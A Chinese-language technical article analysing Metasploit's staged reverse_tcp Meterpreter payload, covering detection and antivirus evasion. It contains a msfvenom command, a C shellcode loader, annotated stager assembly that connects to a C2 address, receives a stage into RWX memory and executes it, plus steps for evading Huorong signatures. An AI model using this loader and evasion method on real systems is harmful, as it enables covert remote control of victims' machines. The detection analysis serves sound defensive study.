MSF staged reverse/TCP 分析、检测及免杀
字数 2047 2025-08-06 12:21:02
MSF Staged Reverse/TCP 分析、检测及免杀技术详解
0x01 前言
本文深入分析MSF框架中reverse_tcp staged模式的工作原理,涵盖以下核心内容:
- Stager运行到拉取Stage的完整上线过程
- MSF内部Stage(Payload)的构造原理
- 防守方检测思路(流量侧和样本侧)及对抗方法
- 针对火绒的Stager免杀实现
0x02 技术分析
一、Shellcode生成与加载
1. Shellcode生成
使用MSFVenom生成x86 reverse_tcp staged payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f c
2. Shellcode加载器实现
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode";
int main() {
_asm {
lea eax, buf
call eax
}
return 0;
}
关键点:通过设置.data段可读写执行权限(RWE)绕过DEP保护
二、Stager Shellcode结构分析
MSF x86 stager reverse_tcp由三部分组成:
1. API动态解析
- 通过FS寄存器链式查找:
FS → TEB → PEB → LDR → 遍历DLL模块 → 遍历导出函数 - 获取关键函数地址:LoadLibraryA、WSAStartup等
2. Socket连接建立
关键汇编代码:
; 加载ws2_32.dll
push 0x00003233 ; 'ws2_32'
push 0x5F327377 ;
push esp
push 0x0726774C ; hash("kernel32.dll","LoadLibraryA")
call ebp
; WSAStartup初始化
mov eax, 0x0190 ; sizeof(struct WSAData)
sub esp, eax
push esp
push eax
push 0x006B8029 ; hash("ws2_32.dll","WSAStartup")
call ebp
; 建立socket连接
push byte 0x05 ; 重试计数器
push 0x0100007F ; 127.0.0.1
push 0x5C110002 ; AF_INET + 端口4444
mov esi, esp ; sockaddr结构指针
...
push 0xE0DF0FEA ; hash("ws2_32.dll","WSASocketA")
call ebp
xchg edi, eax ; 保存socket
; 连接C2
push byte 16 ; sockaddr结构长度
push esi ; sockaddr指针
push edi ; socket
push 0x6174A599 ; hash("ws2_32.dll","connect")
call ebp
3. Stage接收与执行
; 接收Stage长度(4字节)
push byte 0 ; flags
push byte 4 ; 长度字段大小
push esi ; 缓冲区
push edi ; socket
push 0x5FC8D902 ; hash("ws2_32.dll","recv")
call ebp
; 分配RWX内存
mov esi, [esi] ; 获取Stage长度
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push esi ; Stage长度
push byte 0 ; NULL
push 0xE553A458 ; hash("kernel32.dll","VirtualAlloc")
call ebp
; 接收并执行Stage
xchg ebx, eax ; ebx = 分配的内存地址
push ebx
read_more:
push byte 0 ; flags
push esi ; 剩余长度
push ebx ; 当前写入位置
push edi ; socket
push 0x5FC8D902 ; hash("ws2_32.dll","recv")
call ebp
add ebx, eax ; 调整缓冲区指针
sub esi, eax ; 更新剩余长度
jnz read_more ; 循环直到接收完成
ret ; 跳转到Stage执行
三、流量特征分析
1. 第一阶段流量
- TCP握手后首个数据包:固定4字节长度字段
- 特征:
[4字节长度字段] + [反射DLL]
2. 第二阶段流量
- 传输反射DLL(metsrv.x86.dll)
- PE头特征明显,包含:
- MZ头
- PE头
- 被修改的DOS头引导代码
四、反射DLL技术详解
1. 反射DLL加载原理
- 引导代码跳转到ReflectiveLoader函数
- ReflectiveLoader完成:
- DLL内存映射
- 导入表修复
- 重定位表修复
- 调用DllMain
2. MSF实现方式
- 文件位置:
lib/msf/core/payload/windows/meterpreter_loader.rb - 关键组件:
- 反射DLL(metsrv.x86.dll)
- 配置块(包含UUID、传输配置等)
引导代码汇编:
; 保留MZ头
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; 获取下条指令地址
pop ebx ; 当前地址(+7字节)
push edx ; 恢复edx
inc ebp ; 恢复ebp
push ebp ; 保存ebp
mov ebp, esp ; 新栈帧
; 调用ReflectiveLoader
add ebx, <offset> ; 计算ReflectiveLoader地址
call ebx
; 调用DllMain
add ebx, <offset_to_end>
mov [ebx], edi ; 写入socket/handle
push ebx ; 配置指针
push 4 ; DLL_METASPLOIT_ATTACH
push eax ; hInstance
call eax ; 调用DllMain
五、Meterpreter功能实现
- 位置:
scripts/meterpreter/ - 示例功能(webcam.rb):
client.webcam.webcam_start(index)
data = client.webcam.webcam_get_frame(quality)
client.webcam.webcam_stop
0x03 检测与对抗
一、检测思路
1. 流量侧检测
- 特征:
- 4字节长度字段 + PE文件
- 反射DLL头特征
- 方法:
- 固定模式匹配
- Stage内容特征扫描
2. 样本侧检测
Stager检测点:
- API调用特征(WSAStartup、VirtualAlloc等)
- 特征码计算代码
- 动态寻址代码(FS寄存器链)
- API调用模式(call寄存器)
- 非常规结构体处理
Stage检测点:
- 反射函数导出名(ReflectiveLoader)
- 被修改的PE头
- 内存中的反射DLL特征
二、免杀技术
1. 流量层面
- 修改固定模式:
- 变长长度字段
- 编码/加密Stage
- 使用HTTPS隧道规避内容检测
2. Stager免杀(以火绒为例)
火绒检测规则分析:
- 检测模式:
68 [4字节] ff d5(push + call ebp) - 绕过方法:
- 插入混淆指令改变长度
push 0xE0DF0FEA nop ; 混淆指令 call ebp- 修改特征码长度(≠4字节)
实现步骤:
- 定位检测点(二分法测试)
- 修改特征码或插入指令
- 保持功能不变
3. Stage免杀
- 方法:
- 编码/加密反射DLL
- 禁用自动加载(set Autoloadstdapi false)
- 替换反射加载方式
三、MSF与CobaltStrike对比
| 特性 | MSF | CobaltStrike |
|---|---|---|
| Stager协议 | TCP socket | HTTP |
| Stage传输 | 明文反射DLL | 异或加密的反射DLL |
| 加载方式 | 反射DLL加载 | 反射DLL加载 |
| 控制逻辑 | DllMain中实现 | DllMain中实现 |
0x04 总结
本文详细分析了MSF reverse_tcp staged模式的工作原理,包括:
- Stager的三阶段结构
- 反射DLL的生成与加载机制
- 全面的检测方法与对抗技术
- 针对火绒的实战免杀方案
关键结论:
- MSF通过精巧的stager-stage设计实现灵活的攻击
- 检测需结合流量特征与内存行为分析
- 免杀需针对具体检测规则进行定制化绕过